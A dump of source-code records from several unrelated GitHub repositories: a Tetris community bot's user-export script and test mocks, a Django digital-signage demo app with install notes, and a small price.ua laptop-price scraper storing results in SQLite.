'ntsc_pb_updated_at': (user.ntsc_pb_updated_at.isoformat()\n if user.ntsc_pb_updated_at else None),\n 'pal_pb': user.pal_pb,\n 'pal_pb_updated_at': (user.pal_pb_updated_at.isoformat()\n if user.pal_pb_updated_at else None),\n 'country_code': user.country,\n 'country': (countries[user.country] if user.country else None),\n }\n if hasattr(user, 'twitch_user'):\n d['twitch_id'] = user.twitch_user.twitch_id\n d['twitch_username'] = user.twitch_user.username\n if hasattr(user, 'discord_user'):\n d['discord_id'] = user.discord_user.discord_id\n if user.discord_user.user_obj:\n d['discord_username'] = user.discord_user.username\n writer.writerow(d)\n await discord.client.logout()\n\ndiscord.client.run(env(\"DISCORD_TOKEN\"))\n" }, { "alpha_fraction": 0.6365610361099243, "alphanum_fraction": 0.6365610361099243, "avg_line_length": 29.706666946411133, "blob_id": "902511a1469ea1eb4237ac7912d8de3178a46166", "content_id": "f86dea805ddf8b950346aa730015044c8778e81d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2303, "license_type": "permissive", "max_line_length": 84, "num_lines": 75, "path": "/classic_tetris_project/test_helper/twitch.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import factory\n\nfrom classic_tetris_project.commands.command_context import TwitchCommandContext\nfrom .factories import TwitchUserFactory\n\n\nclass MockTwitchClient:\n def __init__(self):\n self.username = \"ClassicTetrisBot\"\n self.user_id = \"bot_id\"\n self._user_id_cache = {}\n self._username_cache = {}\n\n def get_user(self, user_id):\n return self._user_id_cache.get(user_id)\n\n def create_user(self, **params):\n if \"user_id\" in params and params[\"user_id\"] in self._user_id_cache:\n return self._user_id_cache[user_id]\n if \"username\" in params and params[\"username\"] in self._username_cache:\n return self._username_cache[username]\n\n user = MockTwitchAPIUser.create(**params)\n self._user_id_cache[user.id] = user\n self._username_cache[user.username] = user\n return user\n\nclass MockTwitchChannel:\n def __init__(self, name):\n self.sent_messages = []\n self.name = name\n self.type = \"channel\"\n self.client = MockTwitchClient()\n\n def send_message(self, message):\n self.sent_messages.append(message)\n\n def poll(self):\n # Convenience method for taking the latest messages sent since the last poll\n messages = self.sent_messages\n self.sent_messages = []\n return messages\n\n\nclass MockTwitchAPIUser:\n def __init__(self, id, username):\n self.id = id\n self.username = username\n self.display_name = username\n\n def send(self, channel, content):\n message = MockTwitchMessage(self, content, channel)\n context = TwitchCommandContext(message)\n context.dispatch()\n\n def create_twitch_user(self):\n return TwitchUserFactory(twitch_id=self.id,\n username=self.username)\n\n @staticmethod\n def create(*args, **kwargs):\n return MockTwitchAPIUserFactory(*args, **kwargs)\n\nclass MockTwitchAPIUserFactory(factory.Factory):\n class Meta:\n model = MockTwitchAPIUser\n id = factory.Sequence(lambda n: f\"mock_{n}\")\n username = factory.Sequence(lambda n: f\"mock_twitch_user_{n}\")\n\n\nclass MockTwitchMessage:\n def __init__(self, author, content, channel):\n self.author = author\n self.content = content\n self.channel = channel\n" }, { "alpha_fraction": 0.7101865410804749, "alphanum_fraction": 0.7130559682846069, "avg_line_length": 30.68181800842285, "blob_id": "c1729453972160fd9fe4e011b501318d45a1f57c", "content_id": "62566b9c4b5923cd1a5726582ed4c436ca8d2561", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 697, "license_type": "permissive", "max_line_length": 62, "num_lines": 22, "path": "/classic_tetris_project/test_helper/factories/users.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import factory\n\nfrom classic_tetris_project.models import *\n\n\nclass UserFactory(factory.django.DjangoModelFactory):\n class Meta:\n model = User\n\nclass DiscordUserFactory(factory.django.DjangoModelFactory):\n class Meta:\n model = DiscordUser\n discord_id = factory.Sequence(lambda n: str(n))\n username = factory.Sequence(lambda n: f\"User {n}\")\n discriminator = factory.Sequence(lambda n: f\"{n:04}\")\n\nclass TwitchUserFactory(factory.django.DjangoModelFactory):\n class Meta:\n model = TwitchUser\n twitch_id = factory.Sequence(lambda n: str(n))\n username = factory.Sequence(lambda n: f\"user_{n}\")\n display_name = factory.LazyAttribute(lambda o: o.username)\n" }, { "alpha_fraction": 0.4853503108024597, "alphanum_fraction": 0.5197452306747437, "avg_line_length": 38.25, "blob_id": "3650ca0bc6bb0fab33340d0523166d168f7b2288", "content_id": "f99b5f75678980b0d631a5f38d7f42225048dd6f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 787, "license_type": "permissive", "max_line_length": 76, "num_lines": 20, "path": "/classic_tetris_project/util/fieldgen/activepiece.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .tiles import TileMath\n\n\nclass ActivePieceGenerator(object):\n TETROMINO_OFFSETS = [[0, 1], [0, 0], [0, -1], [0, -2]]\n # TETROMINO_OFFSETS = [[0,0],[-1,-1],[0,-1],[1,-1]]\n def __init__(self, tile_gen):\n self.tile_gen = tile_gen\n\n def draw_longbar(self, image, coords, level):\n tile = self.tile_gen.get_active_piece_tile(level)\n for offset in self.TETROMINO_OFFSETS:\n row = coords[1] + offset[1]\n if row >= 0:\n tile_pos = [coords[0] + offset[0], coords[1] + offset[1]]\n tile_pos = [\n tile_pos[0] + TileMath.FIELD_START[0],\n tile_pos[1] + TileMath.FIELD_START[1],\n ]\n image.paste(tile, TileMath.tile_indices_to_pixels(tile_pos))\n" }, { "alpha_fraction": 0.5852059721946716, "alphanum_fraction": 0.5889512896537781, "avg_line_length": 35.82758712768555, "blob_id": "5f21b903b61c0bd1326c33e13c1a455cda4edc35", "content_id": "19414a31fc5c8e638bd2f98706ac3b05bbcb05d6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1068, "license_type": "permissive", "max_line_length": 84, "num_lines": 29, "path": "/classic_tetris_project/util/fieldgen/garbage.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .tiles import TileMath\nfrom .ai import Aesthetics\n\n\nclass GarbageGenerator(object):\n TETRIS_HEIGHT = 4\n\n def __init__(self, tile_gen):\n self.tile_gen = tile_gen\n\n def draw_garbage(self, image, garbage_height, level, target_column):\n # draws garbage tiles on field. Leaves 4 rows in target_column at the top\n block_choices = self.tile_gen.get_block_tiles(level)\n\n # tile coordinate starts.\n x_start = TileMath.FIELD_START[0]\n y_start = TileMath.FIELD_START[1] + (TileMath.FIELD_HEIGHT - garbage_height)\n\n for y in range(garbage_height):\n if y < self.TETRIS_HEIGHT:\n tc = target_column\n else:\n tc = Aesthetics.which_garbage_hole(target_column, y)\n for x in range(TileMath.FIELD_WIDTH):\n if x == tc:\n continue\n block = Aesthetics.which_garbage_tile(x, y, block_choices)\n coord = [x_start + x, y_start + y]\n image.paste(block, TileMath.tile_indices_to_pixels(coord))\n" } ]
183
cibrandocampo/dsdemos
https://github.com/cibrandocampo/dsdemos
54be9487530ac5bacefff9a48277d80252344db4
44551804f6292320a9d8fda322aa2ac50171a336
c6b104e53c9b50b934c6ae59cedd6a5a963df3fc
refs/heads/master
2020-06-30T16:55:39.146742
2019-10-10T16:20:48
2019-10-10T16:20:48
200,890,312
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7403846383094788, "alphanum_fraction": 0.7403846383094788, "avg_line_length": 22.11111068725586, "blob_id": "ffb82fdf56cb8a0b35527093ec8d449a8d8a09fc", "content_id": "604745d6d1e9561ba37a138def6324555bc4d3fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 208, "license_type": "no_license", "max_line_length": 65, "num_lines": 9, "path": "/carpetizer/admin.py", "repo_name": "cibrandocampo/dsdemos", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Carpet\n\n\nclass CarpetAdmin(admin.ModelAdmin):\n list_display = ('name', 'active', 'created_at', 'updated_at')\n\n\nadmin.site.register(Carpet, CarpetAdmin)\n" }, { "alpha_fraction": 0.6048387289047241, "alphanum_fraction": 0.6774193644523621, "avg_line_length": 16.714284896850586, "blob_id": "ee2d3bb440ab751800642a9f4290cfb04fb21f78", "content_id": "335eac5dcf5b16c1d9e5170ee06689f647b7d13f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 124, "license_type": "no_license", "max_line_length": 70, "num_lines": 7, "path": "/start.sh", "repo_name": "cibrandocampo/dsdemos", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\necho \"Starting...\"\n\ncd /home/cibrandp/dsdemos/ && python3 manage.py runserver 0.0.0.0:8000\n\necho \"Finisehd...\"\n" }, { "alpha_fraction": 0.6877192854881287, "alphanum_fraction": 0.6877192854881287, "avg_line_length": 30.66666603088379, "blob_id": "1a689a45b71321405210901d9ae17822bb96042d", "content_id": "d90e0346b713ede8fa92e4d4119dbb6f0ac0b65c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1425, "license_type": "no_license", "max_line_length": 80, "num_lines": 45, "path": "/weather/views.py", "repo_name": "cibrandocampo/dsdemos", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom weather.models import Content\nfrom django.http import JsonResponse\n\n\ndef index(request):\n return render(request, 'weather_index.html')\n\n\ndef player(request):\n args = {}\n args['video'] = Content.objects.get(active=True).video\n return render(request, 'weather_player.html', args)\n\n\ndef weatherStatus(request):\n return JsonResponse({'video': Content.objects.get(active=True).video.url})\n\n\ndef corunaWeather(request):\n if request.method == 'POST':\n Content.objects.filter(active=True).update(active=False)\n Content.objects.filter(coruna=True).update(coruna=False)\n content = Content.objects.get(id=int(request.POST.get(\"selectWeather\")))\n content.active = content.coruna = True\n content.save()\n\n args = {}\n Content.objects.filter(active=True).update(active=False)\n content = Content.objects.get(coruna=True)\n content.active = True\n content.save()\n args['contents'] = Content.objects.all()\n return render(request, 'weather_coruna.html', args)\n\n\ndef selector(request):\n if request.method == 'POST':\n Content.objects.filter(active=True).update(active=False)\n content = Content.objects.get(id=int(request.POST.get(\"new_content\")))\n content.active = True\n content.save()\n args = {}\n args['contents'] = Content.objects.all()\n return render(request, 'weather_selector.html', args)\n" }, { "alpha_fraction": 0.6724891066551208, "alphanum_fraction": 0.6724891066551208, "avg_line_length": 24.44444465637207, "blob_id": "c470c6d92062177ee84b872f94b261e2ca364f2e", "content_id": "ff94c83033858fac02543c34891eb2310c0efa5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 229, "license_type": "no_license", "max_line_length": 62, "num_lines": 9, "path": "/carpetizer/urls.py", "repo_name": "cibrandocampo/dsdemos", "src_encoding": "UTF-8", "text": "from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.selector, name='selector'),\n path('player/', views.player, name='player'),\n path('status/', views.carpetStatus, name='weatherStatus'),\n]\n" }, { "alpha_fraction": 0.6715116500854492, "alphanum_fraction": 0.6715116500854492, "avg_line_length": 30.272727966308594, "blob_id": "14763d7ac5265c9f5d7fd4b847df36e15bfba806", "content_id": "0a0708281ce512c114f1859cc32990de525685ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 344, "license_type": "no_license", "max_line_length": 63, "num_lines": 11, "path": "/weather/urls.py", "repo_name": "cibrandocampo/dsdemos", "src_encoding": "UTF-8", "text": "from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('selector/', views.selector, name='selector'),\n path('coruna/', views.corunaWeather, name='corunaWeather'),\n path('player/', views.player, name='player'),\n path('status/', views.weatherStatus, name='weatherStatus'),\n]\n" }, { "alpha_fraction": 0.5954400897026062, "alphanum_fraction": 0.6012725234031677, "avg_line_length": 38.29166793823242, "blob_id": "d432a16d3617da9c94aa0f4fa1804f1cfcbb6b01", "content_id": "28c7a6d9ba26c120d28f35d33dc434a7cbf0b39e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1886, "license_type": "no_license", "max_line_length": 108, "num_lines": 48, "path": "/weather/models.py", "repo_name": "cibrandocampo/dsdemos", "src_encoding": "UTF-8", "text": "import os\nfrom django.db import models\nfrom django.core.validators import FileExtensionValidator\n\nIMAGES_PATH = 'media/weather/images/'\nVIDEOS_PATH = 'media/weather/videos/'\n\n\nclass Content(models.Model):\n weather_name = models.CharField(\"Weather\", max_length=50, unique=True, blank=False)\n weather_image = models.FileField(\"Image/logo file\",\n upload_to=IMAGES_PATH,\n blank=False,\n validators=[FileExtensionValidator(allowed_extensions=['jpg', 'png'])])\n video = models.FileField(\"Video file\",\n upload_to=VIDEOS_PATH,\n blank=False,\n validators=[FileExtensionValidator(allowed_extensions=['mp4', 'webm'])])\n created_at = models.DateTimeField(\"Created\", auto_now_add=True)\n updated_at = models.DateTimeField(\"Update\", auto_now=True)\n active = models.BooleanField(default=False)\n coruna = models.BooleanField(default=False)\n\n def __str__(self):\n return self.weather_name\n\n def save(self, *args, **kwargs):\n if self.active:\n Content.objects.filter(active=True).update(active=False)\n if self.coruna:\n Content.objects.filter(coruna=True).update(coruna=False)\n super(Content, self).save(*args, **kwargs)\n os.chmod(self.video.url, 0o666)\n os.chmod(self.weather_image.url, 0o666)\n getDefaultContent()\n\n\ndef getDefaultContent():\n if Content.objects.all():\n if not Content.objects.filter(active=True).count():\n content = Content.objects.all().first()\n content.active = True\n content.save()\n\n if not Content.objects.filter(coruna=True).count():\n content = Content.objects.all().first()\n content.coruna = True\n content.save()\n" }, { "alpha_fraction": 0.6990678906440735, "alphanum_fraction": 0.6990678906440735, "avg_line_length": 30.29166603088379, "blob_id": "652bcbc0d3d86e6c8ef2c14b3ce7654d79f4c8f7", "content_id": "a864e3bc60b90207236fa16a92eb9d25e35a3dff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 751, "license_type": "no_license", "max_line_length": 87, "num_lines": 24, "path": "/carpetizer/views.py", "repo_name": "cibrandocampo/dsdemos", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom carpetizer.models import Carpet\nfrom django.http import JsonResponse\n\n\ndef player(request):\n args = {}\n args['projection'] = Carpet.objects.get(active=True).projection\n return render(request, 'carpet_player.html', args)\n\n\ndef carpetStatus(request):\n return JsonResponse({'projection': Carpet.objects.get(active=True).projection.url})\n\n\ndef selector(request):\n if request.method == 'POST':\n Carpet.objects.filter(active=True).update(active=False)\n carpet = Carpet.objects.get(id=int(request.POST.get(\"new_content\")))\n carpet.active = True\n carpet.save()\n args = {}\n args['carpets'] = Carpet.objects.all()\n return render(request, 'carpet_selector.html', args)\n" }, { "alpha_fraction": 0.7532281279563904, "alphanum_fraction": 0.7596843838691711, "avg_line_length": 19.82089614868164, "blob_id": "93f31537135c6e5a96829196b4af94c5ecbd8a7c", "content_id": "e7eda66bcd04fe0c35216b4a382e830c1a006d6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1394, "license_type": "no_license", "max_line_length": 100, "num_lines": 67, "path": "/README.md", "repo_name": "cibrandocampo/dsdemos", "src_encoding": "UTF-8", "text": "# DS-Demos\n\nMicro webApp to deploy different Digital Signage utilities.\n\n## Install\n\n\n1. Lighttpd (as WebServer)\n\n```\nsudo apt-get install lighttpd\nsudo cp ~/dsdemos/install/Lighttpd/lighttpd.conf /etc/lighttpd/lighttpd.conf\nsudo systemctl restart lighttpd.service\n```\n\n2. Nginx (as Reverse Proxy)\n\n```\nsudo apt-get install nginx\nsudo unlink /etc/nginx/sites-enabled/default\nsudo cp ~/dsdemos/install/Nginx/reverse-proxy.conf /etc/nginx/sites-available/reverse-proxy.conf\nsudo ln -s /etc/nginx/sites-available/reverse-proxy.conf /etc/nginx/sites-enabled/reverse-proxy.conf\nsudo nginx -t\nsudo cp ~/dsdemos/install/Nginx/nginx.conf /etc/nginx/nginx.conf\nsudo systemctl restart nginx.service\n```\n\n3. Django (Develop)\n\n> Python 3 as a default Pyhton version\n```\nsudo python --version\nsudo update-alternatives --install /usr/bin/python python /usr/bin/python3 1\nsudo python --version\n````\n\n>Python Pip install\n\n```\nsudo apt install python3-pip -y\nsudo ln -s /usr/bin/pip3 /usr/bin/pip\npip --version\n````\n\n>Django install\n\n```\nsudo pip install Django\ndjango-admin --version\n````\n\n4. Autostart (Develop)\n\n```\nsudo cp ~/dsdemos/install/Autostart/dsdemos.service /etc/systemd/system/dsdemos.service\nsudo systemctl daemon-reload\nsudo systemctl enable dsdemos.service\n```\n\n\n## Develop\n\n```\nsudo systemctl start dsdemos.service\nsudo systemctl stop dsdemos.service\nsudo systemctl restart dsdemos.service\n```" }, { "alpha_fraction": 0.5992342233657837, "alphanum_fraction": 0.6056158542633057, "avg_line_length": 37.219512939453125, "blob_id": "4b3ef14a9805ff6a88e25f8584525c56e21177dd", "content_id": "f6d7c613a5c5003f2592e923a0c24d6b4d750557", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1567, "license_type": "no_license", "max_line_length": 105, "num_lines": 41, "path": "/carpetizer/models.py", "repo_name": "cibrandocampo/dsdemos", "src_encoding": "UTF-8", "text": "import os\nfrom django.db import models\nfrom django.core.validators import FileExtensionValidator\n\nIMAGES_PATH = 'media/carpetizer/images/'\nIMAGES_PROJECTION_PATH = 'media/carpetizer/projection/'\n\n\nclass Carpet(models.Model):\n name = models.CharField(\"Weather\", max_length=50, unique=True, blank=False)\n image = models.FileField(\"Product image\",\n upload_to=IMAGES_PATH,\n blank=False,\n validators=[FileExtensionValidator(allowed_extensions=['jpg', 'png'])])\n projection = models.FileField(\"Projection image\",\n upload_to=IMAGES_PROJECTION_PATH,\n blank=False,\n validators=[FileExtensionValidator(allowed_extensions=['jpg', 'png'])])\n\n created_at = models.DateTimeField(\"Created\", auto_now_add=True)\n updated_at = models.DateTimeField(\"Update\", auto_now=True)\n active = models.BooleanField(default=False)\n\n def __str__(self):\n return self.name\n\n def save(self, *args, **kwargs):\n if self.active:\n Carpet.objects.filter(active=True).update(active=False)\n super(Carpet, self).save(*args, **kwargs)\n os.chmod(self.image.url, 0o666)\n os.chmod(self.projection.url, 0o666)\n getDefaultContent()\n\n\ndef getDefaultContent():\n if Carpet.objects.all():\n if not Carpet.objects.filter(active=True).count():\n carpet = Carpet.objects.all().first()\n carpet.active = True\n carpet.save()\n" }, { "alpha_fraction": 0.7434782385826111, "alphanum_fraction": 0.7434782385826111, "avg_line_length": 24.55555534362793, "blob_id": "176c8f8e3fb2efc3339c958aa52967a79fcc92b9", "content_id": "58976f9fc54f0b0ab902c55ff171590ce24d1338", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 230, "license_type": "no_license", "max_line_length": 83, "num_lines": 9, "path": "/weather/admin.py", "repo_name": "cibrandocampo/dsdemos", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Content\n\n\nclass ContentAdmin(admin.ModelAdmin):\n list_display = ('weather_name', 'active', 'coruna', 'created_at', 'updated_at')\n\n\nadmin.site.register(Content, ContentAdmin)\n" }, { "alpha_fraction": 0.7684210538864136, "alphanum_fraction": 0.7684210538864136, "avg_line_length": 18, "blob_id": "3e447eab6af43711ab1ba44a104dbc474a19bf70", "content_id": "c2acceb2c2a32e3b86a8a0d649e9c7c1c0fe6709", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 95, "license_type": "no_license", "max_line_length": 34, "num_lines": 5, "path": "/carpetizer/apps.py", "repo_name": "cibrandocampo/dsdemos", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass CarpetizerConfig(AppConfig):\n name = 'carpetizer'\n" } ]
11
kpy21ui/django-sitemap-generate
https://github.com/kpy21ui/django-sitemap-generate
6e9938d8e9cb9309f1d679e495fa8dc42f0dd97b
066f2dd49c43cb5b7d950f9b7c98bc912d9c9127
cdfdd670a75d688faa7dfd4544f1c5be57517b5b
refs/heads/master
2022-11-21T01:53:55.392120
2020-07-23T10:06:37
2020-07-23T10:06:37
283,953,580
0
0
null
2020-07-31T05:48:56
2020-07-23T10:06:40
2020-07-23T10:06:38
null
[ { "alpha_fraction": 0.550000011920929, "alphanum_fraction": 0.7166666388511658, "avg_line_length": 19, "blob_id": "fe91c0a9c986a8dc9a563066114d615ec670220f", "content_id": "e641a36da3d2fb514c140beb77f9560cdb563ea5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 60, "license_type": "permissive", "max_line_length": 25, "num_lines": 3, "path": "/requirements.txt", "repo_name": "kpy21ui/django-sitemap-generate", "src_encoding": "UTF-8", "text": "Django==3.0.8\ndj-inmemorystorage==2.1.0\nfactory-boy==2.12.0\n" }, { "alpha_fraction": 0.71484375, "alphanum_fraction": 0.7265625, "avg_line_length": 31, "blob_id": "531622048dd6cf1f52bacce98f6afa18f1d87491", "content_id": "7e9fb5b0010f0e26c804ff67ad3bddf2dfb00868", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 256, "license_type": "permissive", "max_line_length": 45, "num_lines": 8, "path": "/sitemap_generate/defaults.py", "repo_name": "kpy21ui/django-sitemap-generate", "src_encoding": "UTF-8", "text": "from os import getenv as e\n\n# Hostname used in sitemap links\nSITEMAP_HOST = e('SITEMAP_HOST', 'localhost')\n# Port used in sitemap links\nSITEMAP_PORT = int(e('SITEMAP_PORT', 443))\n# Protocol used in sitemap links\nSITEMAP_PROTO = e('SITEMAP_PROTO', 'https')\n" } ]
2
larsbratholm/benchmark_datasets
https://github.com/larsbratholm/benchmark_datasets
32bb619deca3a8bfac27bb78fb2309b009abf2ff
e6b66a65da4addd38ae21c96a930c8a2096b3e9f
917c2d1b6717ac587815e52b4029e4c498351138
refs/heads/master
2021-08-22T21:59:28.180041
2017-12-01T11:10:57
2017-12-01T11:10:57
104,770,171
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6260762810707092, "alphanum_fraction": 0.6436039209365845, "avg_line_length": 29.97142791748047, "blob_id": "9848f39051cd851ad14906c01365aa33936a051e", "content_id": "2a60c749a51f22989e668af1becfa80a587ac9e2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3252, "license_type": "permissive", "max_line_length": 152, "num_lines": 105, "path": "/parse_qm7.py", "repo_name": "larsbratholm/benchmark_datasets", "src_encoding": "UTF-8", "text": "import sys\nimport pandas as pd\nimport numpy as np\nimport glob\nimport time\nfrom qml.representations import generate_bob\nfrom fns.fn import fastfn\n\ndef read_file(filename):\n atoms = \"\"\n coords = []\n with open(filename) as f:\n lines = f.readlines()\n for line in lines[2:]:\n tokens = line.split()\n atoms += tokens[0]\n coords.append(tokens[1:])\n\n return atoms, coords\n\ndef atoms_str2int(string):\n string = string.replace('C','6,')\n string = string.replace('H','1,')\n string = string.replace('O','8,')\n string = string.replace('N','7,')\n string = string.replace('S','16,')\n\n return np.asarray(string.split(',')[:-1], dtype=int)\n\ndef sort_by_distance(atoms, coordinates):\n n = len(atoms)\n # Get unique atom types\n unique_atoms = set(\"\".join(atoms))\n unique_nuclear_charges = atoms_str2int(\"\".join(unique_atoms))\n max_counts = {atom:0 for atom in unique_atoms}\n\n for mol in atoms:\n counts = dict()\n for a in mol:\n counts[a] = counts.get(a, 0) + 1\n max_counts = {key:max(max_counts[key],counts.get(key,0)) for key in unique_atoms}\n\n # generate descriptor\n for i in range(n):\n nuclear_charges = atoms_str2int(atoms[i])\n desc = generate_bob(nuclear_charges, coordinates[i], unique_nuclear_charges, asize=max_counts)\n if i == 0:\n descriptors = np.empty((n,desc.shape[0]))\n descriptors[i] = desc\n\n t = time.time()\n order = fastfn(descriptors, npartitions = 1, memory = 50)\n print(time.time() - t)\n\n return order\n\n\nfilenames = sorted(glob.glob('qm7/*.xyz'))\nenergies = np.loadtxt('qm7/hof_qm7.txt', usecols=[1,2])\n\nmolecule_ids = []\nenergy1 = []\nenergy2 = []\nmolecule_id = 0\nall_atoms = []\nall_coordinates = []\nall_n = []\nfor f, filename in enumerate(filenames):\n atoms, coordinates = read_file(filename)\n n_atoms = len(atoms)\n energy1.append(energies[f,0])\n energy2.append(energies[f,1])\n all_atoms.append(atoms)\n all_coordinates.append(np.asarray(coordinates, dtype=float))\n all_n.append(n_atoms)\n\nall_coordinates = np.asarray(all_coordinates, dtype=object)\nall_n = np.asarray(all_n, dtype=int)\nenergy1 = np.asarray(energy1)\nenergy2 = np.asarray(energy2)\n\n\n# sort by distance\norder = sort_by_distance(all_atoms, all_coordinates)\n\n# Get indices of first atom for lookup\natom_indices = np.empty(len(filenames), dtype=int)\nn = 0\nfor i, j in enumerate(order):\n atom_indices[i] = n\n n += all_n[j]\n\n# atom number\natomic_number = np.concatenate([atoms_str2int(x) for x in all_atoms])\n\nall_coordinates = np.concatenate(all_coordinates[order].ravel())\n\nadf = pd.DataFrame({'atomic_number': atomic_number, 'X': all_coordinates[:,0], 'Y': all_coordinates[:,1], 'Z': all_coordinates[:,2]})\nmdf = pd.DataFrame({'N': all_n[order], 'atom_index': atom_indices, 'pbe_atomization_energy': energy1[order], 'dftb_atomization_energy': energy2[order]})\n\n#print(adf.loc[mdf.loc[0,'atom_index']:mdf.loc[0,'atom_index']+mdf.loc[0,'N']-1,['X','Y','Z']].values)\nprint(adf.head(1))\nprint(mdf.head(1))\nmdf.to_hdf('qm7.h5', 'molecules', mode='w', format='f')#, compression='blosc', complevel=9)\nadf.to_hdf('qm7.h5', 'atoms', mode='a', format='f')#, compression='blosc', complevel=9)\n" } ]
1
ghost401/task1
https://github.com/ghost401/task1
ecb8ebabbd756ca6724a021ed9f821810cbe065b
7a5802ca3354df20f7b738d7b2d344594475fab4
ee8f4aaad44417ee556a9e7475cd24659272aa48
refs/heads/master
2020-12-02T21:07:29.434449
2017-07-18T16:05:09
2017-07-18T16:05:09
96,259,913
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5022608637809753, "alphanum_fraction": 0.5113043189048767, "avg_line_length": 29.593406677246094, "blob_id": "4d5f4b8e7788a64e6ca0850b2c20b23b4ae59b26", "content_id": "361eaf135c8c17f90fadaece1468997f13057d78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2900, "license_type": "no_license", "max_line_length": 112, "num_lines": 91, "path": "/prog2.py", "repo_name": "ghost401/task1", "src_encoding": "UTF-8", "text": "import requests\r\nfrom bs4 import BeautifulSoup\r\nimport sqlite3\r\n\r\nclass Database():\r\n\r\n def __init__(self):\r\n con=sqlite3.connect(\"parse.db\")\r\n cur=con.cursor()\r\n cur.execute(\"CREATE TABLE IF NOT EXISTS npdb (NAME INT, PHOTO TEXT, LINK TEXT, PRICE INT, DETAILS INT)\")\r\n con.commit()\r\n con.close()\r\n\r\n def todb(self, name, image, link, price, details):\r\n con=sqlite3.connect(\"parse.db\")\r\n cur=con.cursor()\r\n cur.execute(\"INSERT INTO npdb (?, ?, ?, ?, ?)\",(name, image, link, price, details))\r\n con.commit()\r\n con.close()\r\n\r\n def view(self):\r\n con=sqlite3.connect(\"parse.db\")\r\n cur=con.cursor()\r\n cur.execute(\"SELECT * FROM npdb)\r\n rows = cur.fetchall()\r\n con.close()\r\n for row in rows:\r\n print row\r\nclass PUParser():\r\n\t\r\n def conn(self, link):\r\n try:\r\n cont = requests.get(link)\r\n except HTTPError:\r\n print(\"Can not access server!\")\r\n soup = BeautifulSoup(cont.content, \"html.parser\")\r\n return soup\r\n\t\t\r\n def cr_links(self, i):\r\n base = 'http://price.ua/catc839t14/page'\r\n ad = '.html'\r\n link = base + str(i) + ad\r\n return link\r\n\r\n def get_amount(self):\r\n try:\r\n s_data = requests.get(\"http://price.ua/catc839t14.html\")\r\n except HTTPError:\r\n print(\"Can not access server!\")\r\n soup = BeautifulSoup(s_data.content, \"html.parser\")\r\n soup = soup.find(\"span\", id = \"top-paginator-max\")\r\n amount = int(soup.get_text())\r\n return amount\r\n\t\r\n def get_b(self, html):\r\n new_b = html.find_all(\"div\", class_ = 'product-item')\r\n return new_b\r\n \r\n def parse(self, b, i):\r\n name = b[i].find(\"a\", class_ = 'model-name')\r\n name = name.get('title')\r\n name = name.replace('Цены на ', '')\r\n name = name.replace(' в Ивано-Франковске', '')\r\n price = b[i].find(\"span\", class_ = \"price\")\r\n price = price.get_text()\r\n price = price.replace('\\xa0', '')\r\n price = price.replace('грн.', '')\r\n price = price.replace(' ', '')\r\n price = int(price)\r\n det = b[i].find_all(\"div\", class_ = 'item')\r\n details = \"\"\r\n for i in range(len(det)):\r\n details += str(det[i].get_text())\r\n link = b[i].find(\"a\", class_ = 'model-name')\r\n link = link.get('href')\r\n image = b[i].find('img')\r\n image = image.get('src')\r\n if price > 10000 and price < 20000:\r\n db.todb(name, image, link, price, details)\r\npp = PUParser()\r\ndb = Database()\r\n\r\ndef main():\r\n for i in range(pp.get_amount()):\r\n link = pp.cr_links(i)\r\n html = pp.conn(link)\r\n for j in range(len(pp.get_b(html))):\r\n b = pp.get_b(html)\r\n pp.parse(b, i)\r\n\r\nmain()\r\n" } ]
1
priscilalopesc/engenharia_dados
https://github.com/priscilalopesc/engenharia_dados
bcd13b9ded78c58fe1fe82e43d3713d111bd64a7
97a6950130aa345bed36424f55b615e0d17339e3
db9c8995242f824bf73d39064fe8308d2c610c47
refs/heads/main
2023-01-24T20:21:40.152783
2020-12-08T21:21:51
2020-12-08T21:21:51
319,727,465
0
0
null
null
null
null
null
